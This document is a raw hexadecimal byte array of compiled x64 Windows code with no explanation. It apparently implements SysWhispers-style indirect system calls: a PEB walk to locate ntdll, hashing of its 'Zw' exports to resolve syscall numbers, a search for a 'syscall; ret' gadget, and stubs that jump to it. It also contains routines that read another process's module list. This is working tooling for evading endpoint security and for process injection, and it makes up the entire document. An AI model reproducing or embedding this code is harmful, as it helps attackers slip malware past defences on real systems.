0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x60,0x00,0x00,0x00,0x8B,0x45,0xFC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xBD,0xFF,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xB1,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC0,0x18,0x48,0x89,0x45,0xF0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xD8,0x48,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x08,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x3D,0x0C,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x0D,0x83,0x7D,0x18,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x61,0x83,0x7D,0xEC,0x00,0x79,0x0D,0x83,0x7D,0x18,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4E,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xD0,0x48,0x8B,0x55,0xE0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x08,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xDA,0x0B,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xD0,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x05,0x2A,0xEB,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x20,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x1B,0xEB,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAC,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x48,0x89,0x50,0x08,0x48,0x8B,0x45,0x18,0x8B,0x50,0x40,0x48,0x8B,0x45,0xF8,0x89,0x50,0x10,0x48,0x8B,0x45,0x18,0x8B,0x90,0x80,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x89,0x90,0x18,0x02,0x00,0x00,0x48,0x8B,0x45,0x18,0x8B,0x90,0x20,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x89,0x90,0x1C,0x02,0x00,0x00,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x40,0x48,0xBA,0x00,0x02,0x00,0x00,0x66,0x39,0xD0,0x0F,0x47,0xC2,0x0F,0xB7,0xC0,0x89,0x45,0xF4,0x8B,0x4D,0xF4,0x48,0x8B,0x45,0xF8,0x4C,0x8D,0x40,0x14,0x48,0x8B,0x45,0x18,0x48,0x8B,0x50,0x50,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x48,0x89,0xC1,0xE8,0xE3,0x0A,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0x48,0x8B,0x4D,0x20,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x28,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x8B,0x0A,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5F,0x48,0x8B,0x45,0x28,0x41,0xB8,0x04,0x01,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x45,0x58,0x00,0x00,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x40,0x58,0x44,0x0F,0xB7,0xC0,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x60,0x48,0x8B,0x4D,0x28,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x31,0x0A,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x81,0xEC,0xA0,0x03,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x30,0x03,0x00,0x00,0x48,0x89,0x95,0x38,0x03,0x00,0x00,0x44,0x89,0x85,0x40,0x03,0x00,0x00,0x44,0x89,0x8D,0x48,0x03,0x00,0x00,0x48,0xC7,0x85,0x18,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x95,0x48,0x03,0x00,0x00,0x48,0x8B,0x85,0x30,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0x23,0xFD,0xFF,0xFF,0x48,0x89,0x85,0x10,0x03,0x00,0x00,0x48,0x83,0xBD,0x10,0x03,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x09,0x02,0x00,0x00,0x48,0xC7,0x85,0x08,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0xC7,0x85,0x06,0x03,0x00,0x00,0x00,0x00,0xC7,0x85,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0xB0,0x01,0x00,0x00,0x4C,0x8D,0x45,0xA0,0x48,0x8D,0x8D,0xB0,0x01,0x00,0x00,0x48,0x8B,0x95,0x10,0x03,0x00,0x00,0x48,0x8B,0x85,0x30,0x03,0x00,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x9C,0xFE,0xFF,0xFF,0x89,0x85,0xEC,0x02,0x00,0x00,0x83,0xBD,0xEC,0x02,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA6,0x01,0x00,0x00,0x48,0x83,0xBD,0x08,0x03,0x00,0x00,0x00,0x75,0x0E,0x48,0x8B,0x85,0xB8,0x01,0x00,0x00,0x48,0x89,0x85,0x08,0x03,0x00,0x00,0xC7,0x85,0xFC,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0x19,0x01,0x00,0x00,0x8B,0x85,0xFC,0x02,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x38,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x55,0xA0,0x48,0x89,0xC1,0x48,0x8B,0x05,0xFB,0xE8,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0xDD,0x00,0x00,0x00,0x8B,0x85,0xFC,0x02,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x38,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0xBD,0x76,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC3,0xE8,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x0A,0xC7,0x85,0x00,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0x48,0x8D,0x95,0xB0,0x01,0x00,0x00,0x48,0x8B,0x85,0x30,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDC,0xFC,0xFF,0xFF,0x48,0x89,0x85,0xE0,0x02,0x00,0x00,0x48,0x83,0xBD,0xE0,0x02,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xDB,0x00,0x00,0x00,0x48,0x83,0xBD,0x18,0x03,0x00,0x00,0x00,0x75,0x10,0x48,0x8B,0x85,0xE0,0x02,0x00,0x00,0x48,0x89,0x85,0x18,0x03,0x00,0x00,0xEB,0x41,0x48,0x8B,0x85,0x18,0x03,0x00,0x00,0x48,0x89,0x85,0xF0,0x02,0x00,0x00,0xEB,0x11,0x48,0x8B,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x00,0x48,0x89,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x75,0xE0,0x48,0x8B,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x95,0xE0,0x02,0x00,0x00,0x48,0x89,0x10,0x0F,0xB7,0x85,0x06,0x03,0x00,0x00,0x83,0xC0,0x01,0x66,0x89,0x85,0x06,0x03,0x00,0x00,0xEB,0x19,0x83,0x85,0xFC,0x02,0x00,0x00,0x01,0x8B,0x85,0xFC,0x02,0x00,0x00,0x3B,0x85,0x40,0x03,0x00,0x00,0x0F,0x8C,0xD5,0xFE,0xFF,0xFF,0x48,0x8B,0x85,0xB0,0x01,0x00,0x00,0x48,0x89,0x85,0x10,0x03,0x00,0x00,0x48,0x8B,0x85,0x10,0x03,0x00,0x00,0x48,0x3B,0x85,0x08,0x03,0x00,0x00,0x74,0x15,0x0F,0xBF,0x85,0x06,0x03,0x00,0x00,0x39,0x85,0x40,0x03,0x00,0x00,0x0F,0x8F,0x3D,0xFE,0xFF,0xFF,0xEB,0x01,0x90,0x83,0xBD,0x48,0x03,0x00,0x00,0x00,0x74,0x10,0x83,0xBD,0x00,0x03,0x00,0x00,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x07,0x48,0x8B,0x85,0x18,0x03,0x00,0x00,0x48,0x81,0xC4,0xA0,0x03,0x00,0x00,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xB8,0xAD,0xDE,0xDE,0xC0,0xC3,0x90,0x0F,0x0B,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xB9,0x0F,0x2A,0x9B,0xCD,0xE8,0x3F,0x06,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xE1,0x0F,0x05,0xC6,0x45,0xE3,0xC3,0x8B,0x45,0x18,0x83,0xE8,0x02,0x89,0x45,0xE4,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x35,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xE1,0x41,0xB8,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE8,0x54,0x00,0x00,0x85,0xC0,0x75,0x09,0x48,0x8B,0x45,0xE8,0xE9,0xD1,0x00,0x00,0x00,0x83,0x45,0xFC,0x01,0x8B,0x45,0xFC,0x3B,0x45,0xE4,0x72,0xC3,0xC7,0x45,0xF8,0x01,0x00,0x00,0x00,0xE9,0xA5,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x3E,0x8B,0x55,0xF4,0x48,0x8B,0x45,0x10,0x48,0x01,0xC2,0x8B,0x45,0xF8,0x0F,0xAF,0x45,0x18,0x89,0xC0,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xE1,0x41,0xB8,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8A,0x54,0x00,0x00,0x85,0xC0,0x75,0x06,0x48,0x8B,0x45,0xE8,0xEB,0x76,0x83,0x45,0xF4,0x01,0x8B,0x45,0xF4,0x3B,0x45,0xE4,0x72,0xBA,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xEB,0x41,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x48,0x01,0xC2,0x8B,0x45,0xF8,0x0F,0xAF,0x45,0x18,0x89,0xC1,0x48,0x89,0xD0,0x48,0x29,0xC8,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xE1,0x41,0xB8,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x38,0x54,0x00,0x00,0x85,0xC0,0x75,0x06,0x48,0x8B,0x45,0xE8,0xEB,0x24,0x83,0x45,0xF0,0x01,0x8B,0x45,0xF0,0x3B,0x45,0xE4,0x72,0xB7,0x83,0x45,0xF8,0x01,0x81,0x7D,0xF8,0x25,0x02,0x00,0x00,0x0F,0x86,0x4E,0xFF,0xFF,0xFF,0x48,0x8D,0x05,0xAA,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0xDE,0xC0,0x37,0x13,0xEB,0x28,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x0F,0xB7,0x00,0x66,0x89,0x45,0xF6,0x0F,0xB7,0x45,0xF6,0x8B,0x55,0xF8,0xC1,0xCA,0x08,0x01,0xD0,0x31,0x45,0xF8,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x0F,0xB6,0x00,0x84,0xC0,0x75,0xC7,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x53,0x48,0x81,0xEC,0xE8,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xE0,0x00,0x00,0x00,0x8B,0x05,0xBF,0xA3,0x00,0x00,0x85,0xC0,0x74,0x0A,0xB8,0x01,0x00,0x00,0x00,0xE9,0x15,0x04,0x00,0x00,0xC7,0x85,0x64,0xFF,0xFF,0xFF,0x60,0x00,0x00,0x00,0x8B,0x85,0x64,0xFF,0xFF,0xFF,0x65,0x48,0x8B,0x00,0x48,0x89,0x85,0x58,0xFF,0xFF,0xFF,0x48,0x8B,0x85,0x58,0xFF,0xFF,0xFF,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xD0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xC8,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xE8,0xE9,0xA1,0x00,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x30,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xC0,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xB8,0x48,0x05,0x88,0x00,0x00,0x00,0x48,0x89,0x45,0xB0,0x48,0x8B,0x45,0xB0,0x8B,0x00,0x89,0x45,0xAC,0x83,0x7D,0xAC,0x00,0x74,0x4C,0x8B,0x55,0xAC,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x0C,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xA0,0x48,0x8B,0x45,0xA0,0x8B,0x00,0x0D,0x20,0x20,0x20,0x20,0x3D,0x6E,0x74,0x64,0x6C,0x75,0x1B,0x48,0x8B,0x45,0xA0,0x48,0x83,0xC0,0x04,0x8B,0x00,0x0D,0x20,0x20,0x20,0x20,0x3D,0x6C,0x2E,0x64,0x6C,0x74,0x24,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x00,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x30,0x48,0x85,0xC0,0x0F,0x85,0x4E,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xFC,0x02,0x00,0x00,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x18,0x89,0x45,0xE4,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x1C,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0x98,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x20,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0x90,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x24,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0x88,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x4C,0xA2,0x00,0x00,0x48,0x89,0x45,0x80,0x8B,0x45,0xE4,0x83,0xE8,0x01,0x89,0xC0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x90,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x85,0x78,0xFF,0xFF,0xFF,0x48,0x8B,0x85,0x78,0xFF,0xFF,0xFF,0x0F,0xB7,0x00,0x66,0x3D,0x5A,0x77,0x75,0x6E,0x8B,0x45,0xE0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x8D,0x1C,0x02,0x48,0x8B,0x85,0x78,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0xB2,0xFD,0xFF,0xFF,0x89,0x03,0x8B,0x45,0xE4,0x83,0xE8,0x01,0x89,0xC0,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0x88,0x48,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x98,0x48,0x01,0xD0,0x8B,0x55,0xE0,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x00,0x89,0x42,0x04,0x83,0x45,0xE0,0x01,0x81,0x7D,0xE0,0x26,0x02,0x00,0x00,0x74,0x10,0x83,0x6D,0xE4,0x01,0x83,0x7D,0xE4,0x00,0x0F,0x85,0x4B,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x8B,0x45,0xE0,0x89,0x05,0x7F,0xA1,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xE9,0x3C,0x01,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xE9,0x17,0x01,0x00,0x00,0x8B,0x45,0xDC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x40,0x04,0x8B,0x55,0xDC,0x83,0xC2,0x01,0x89,0xD2,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x52,0x04,0x39,0xC2,0x0F,0x83,0xDE,0x00,0x00,0x00,0x48,0xC7,0x85,0x40,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x48,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8B,0x45,0xDC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x00,0x89,0x85,0x40,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x40,0x04,0x89,0x85,0x44,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x55,0xDC,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x00,0x89,0x02,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x55,0xDC,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x40,0x04,0x89,0x42,0x04,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xC2,0x8B,0x85,0x40,0xFF,0xFF,0xFF,0x89,0x02,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xC2,0x8B,0x85,0x44,0xFF,0xFF,0xFF,0x89,0x42,0x04,0x83,0x45,0xDC,0x01,0x8B,0x05,0x4A,0xA0,0x00,0x00,0x2B,0x45,0xE0,0x83,0xE8,0x01,0x39,0x45,0xDC,0x0F,0x82,0xD4,0xFE,0xFF,0xFF,0x83,0x45,0xE0,0x01,0x8B,0x05,0x31,0xA0,0x00,0x00,0x83,0xE8,0x01,0x39,0x45,0xE0,0x0F,0x82,0xB2,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0x80,0x48,0x83,0xC0,0x10,0x8B,0x50,0x04,0x48,0x8B,0x45,0x80,0x8B,0x40,0x04,0x29,0xC2,0x89,0x95,0x74,0xFF,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xEB,0x53,0x8B,0x45,0xE0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x40,0x04,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x85,0x68,0xFF,0xFF,0xFF,0x8B,0x45,0xE0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x8D,0x1C,0x02,0x8B,0x95,0x74,0xFF,0xFF,0xFF,0x48,0x8B,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0x48,0xFA,0xFF,0xFF,0x48,0x89,0x43,0x08,0x83,0x45,0xE0,0x01,0x8B,0x05,0xA9,0x9F,0x00,0x00,0x83,0xE8,0x01,0x39,0x45,0xE0,0x72,0x9F,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xE8,0x00,0x00,0x00,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0xE8,0xAC,0xFB,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x3B,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x22,0x8B,0x45,0xFC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8D,0x05,0x65,0x9F,0x00,0x00,0x8B,0x04,0x02,0x39,0x45,0x10,0x75,0x05,0x8B,0x45,0xFC,0xEB,0x14,0x83,0x45,0xFC,0x01,0x8B,0x05,0x46,0x9F,0x00,0x00,0x39,0x45,0xFC,0x72,0xD3,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0xE8,0x50,0xFB,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4D,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x34,0x8B,0x45,0xFC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8D,0x05,0x09,0x9F,0x00,0x00,0x8B,0x04,0x02,0x39,0x45,0x10,0x75,0x17,0x8B,0x45,0xFC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8D,0x05,0xF8,0x9E,0x00,0x00,0x48,0x8B,0x04,0x02,0xEB,0x14,0x83,0x45,0xFC,0x01,0x8B,0x05,0xD8,0x9E,0x00,0x00,0x39,0x45,0xFC,0x72,0xC1,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x48,0xC7,0xC0,0x00,0x00,0x00,0x00,0xC3,0x90,0x0F,0x0B,0x48,0x8B,0x04,0x24,0xC3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x0F,0x2A,0x9B,0xCD,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x57,0xFF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xEC,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x2F,0x1A,0xBF,0xFF,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xFD,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x92,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x67,0x75,0x8B,0x11,0x51,0x48,0x83,0xEC,0x28,0xE8,0xA6,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x3B,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x3F,0xD3,0x52,0x22,0x51,0x48,0x83,0xEC,0x28,0xE8,0x4F,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xE4,0xFD,0xFF,0xFF